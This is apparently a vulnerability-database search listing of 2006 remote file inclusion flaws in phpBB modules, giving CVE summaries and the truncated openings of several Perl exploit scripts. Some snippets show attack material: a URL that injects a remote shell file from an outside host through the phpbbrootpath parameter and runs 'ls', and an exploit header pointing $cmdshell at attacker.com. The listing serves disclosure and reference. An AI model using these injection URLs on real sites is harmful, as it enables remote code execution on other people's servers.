2420 matches found
CVE-2006-5301
CVE-2006-5301 is a PHP remote file inclusion vulnerability affecting the SpamBlockerMODv 1.0.2 (and earlier) module for phpBB. The flaw resides in includes/antispam.php where untrusted input supplied to the phpbb_root_path parameter can cause the server to include and execute arbitrary PHP code s...
CVE-2006-5305: Undefined Security Weakness
PHP remote file inclusion vulnerability in lat2cyr.php in the lat2cyr 1.0.1 and earlier phpbb module allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...
CVE-2006-5325: Undefined Security Weakness
Multiple PHP remote file inclusion vulnerabilities in Dimitri Seitz Security Suite IP Logger in dwingmods for phpBB allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter in 1 mkb.php, 2 iplogger.php, 3 adminboard2.php, or 4 adminlogger.php in includes/,...
CVE-2006-5326: Undefined Security Weakness
PHP remote file inclusion vulnerability in language/lang/langcontactfaq.php in the Prillian French 0.8.0 and earlier module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter. NOTE: the provenance of this information is unknown; the details ar...
CVE-2006-5312: Undefined Security Weakness
PHP remote file inclusion vulnerability in shoutbox.php in the Ajax Shoutbox 0.0.5 and earlier module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...
CVE-2006-5309: Undefined Security Weakness
PHP remote file inclusion vulnerability in language/langfrench/langprillianfaq.php in the Prillian French 0.8.0 and earlier module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...
phpBB-iplogger.txt
Author: ReeM HacK Security Suite IP Logger Remote File Inclusion Vulnerability For: phpBB 2.0.x - 2.0.21 Site: www.arab4services.com Remote File Inclusion - Security Suite IP Logger http://site.com/path/includes/mkb.php?phpbbrootpath=http://www.arab4services.com/c-h.v2.txt?ls...
CVE-2006-5306: Improper Control of Generation of Code
Multiple PHP remote file inclusion vulnerabilities in the Journals System module 1.0.2 RC2 and earlier for phpBB allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter in 1 includes/journalsdelete.php, 2 includes/journalspost.php, or 3...
SpamBlockerMODv-1.0.2.txt
!/usr/bin/perl SpamBlockerMod package for phpBB Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://leo.vak.ru/devel/spamblocker/spamblockermodv1.0.2.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd =...
PhPBB-user-posts.txt
!/usr/bin/perl Admin User Viewed Posts Tracker 1.0x PhPBB Hack Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.nivisec.com/downloads/phpbb/userviewedposts.zip use IO::Socket; use LWP::Simple;...
Phpbb-insert.txt
$ BiyoSecurity.Org & SecurityWall.Org $ Script Name : Phpbb insert module $ versions : 0.1.0 and 0.1.1 $ Risk : High $ Regard : KorsaN $ Thanks : Liz0zim , RMx , TRIP , DreamLord , Kubra $ Vulnerable File : functionsmoduser.php $ Vulnerable code : includeonce$phpbbrootpath...
phpBB RPG Events 1.0 functions_rpg_events Remote File Include Exploit
No description provided by source. !/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...
phpBB RPG Events 1.0 - functions_rpg_events Remote File Inclusion
phpBB RPG Events 1.0 - functionsrpgevents Remote File Inclusion !/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...
phpBB Add Name Module - Not_Mem.php Remote File Inclusion
phpBB Add Name Module - NotMem.php Remote File Inclusion source: https://www.securityfocus.com/bid/20516/info The Add Name component for phpBB is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue could allow an attacke...
phpBB Security <= 1.0.1 (php_security.php) Remote File Include Exploit
Exploit for unknown platform in category web applications ====================================================================== phpBB Security = 1.0.1 phpsecurity.php Remote File Include Exploit ====================================================================== !/usr/bin/perl phpBB Security...
phpBB lat2cyr Mod 1.0.1 (lat2cyr.php) Remote File Include Exploit
Exploit for unknown platform in category web applications ================================================================= phpBB lat2cyr Mod 1.0.1 lat2cyr.php Remote File Include Exploit ================================================================= !/usr/bin/perl phpBB lat2cyr 1.0.1 Class:...
maluinfo <= 206.2.38 (bb_usage_stats.php) Remote File Include Exploit
Exploit for unknown platform in category web applications ===================================================================== maluinfo = 206.2.38 bbusagestats.php Remote File Include Exploit ===================================================================== !/usr/bin/perl maluinfo 206.2.38...
phpBB Security 1.0.1 - PHP_security.php Remote File Inclusion
phpBB Security 1.0.1 - PHPsecurity.php Remote File Inclusion !/usr/bin/perl phpBB Security 1.0.1 Class: Remote File Include Vulnerability Date: 2006/10/12 Remote: Yes Type: high Site: http://www.phpbb-amod.com/downloads/phpBBSecurity.zip...
maluinfo <= 206.2.38 (bb_usage_stats.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl maluinfo 206.2.38 brazilian PHPBB Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...
phpBB RPG Events 1.0 - 'functions_rpg_events' Remote File Inclusion
!/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://mods.best-dev.com/old/files/rpgevent...